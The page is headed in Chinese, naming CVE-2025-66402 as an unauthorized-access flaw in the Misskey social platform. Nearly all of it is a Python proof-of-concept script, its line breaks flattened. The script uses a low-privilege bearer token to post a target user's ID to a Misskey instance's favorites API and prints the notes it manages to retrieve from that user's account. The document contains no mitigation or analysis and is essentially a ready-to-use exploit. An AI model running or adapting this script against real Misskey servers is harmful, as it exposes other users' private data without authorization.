CVE-2025-66402 Misskey社交平台未授权访问漏洞

import requests import json # CVE-2025-66402 PoC - Misskey Unauthorized Access # Target: Misskey instances < version 2025.12.0 TARGET_URL = "https://target-misskey-instance.com" ATTACKER_TOKEN = "your_low_privilege_token" def exploit_unauthorized_export(): """ Exploit for CVE-2025-66402 This PoC demonstrates unauthorized access to favorites/clips export """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Target user ID whose content we want to access target_user_id = "target_user_id_here" # Try to export favorites without proper authorization favorites_endpoint = f"{TARGET_URL}/api/notes/favorites" payload = { "limit": 100, "userId": target_user_id } try: response = requests.post(favorites_endpoint, json=payload, headers=headers) if response.status_code == 200: data = response.json() print(f"[!] Successfully accessed favorites - {len(data)} notes exposed") print(json.dumps(data, indent=2)) else: print(f"[*] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[*] Error: {e}") if __name__ == "__main__": print("CVE-2025-66402 PoC - Misskey Unauthorized Export") exploit_unauthorized_export()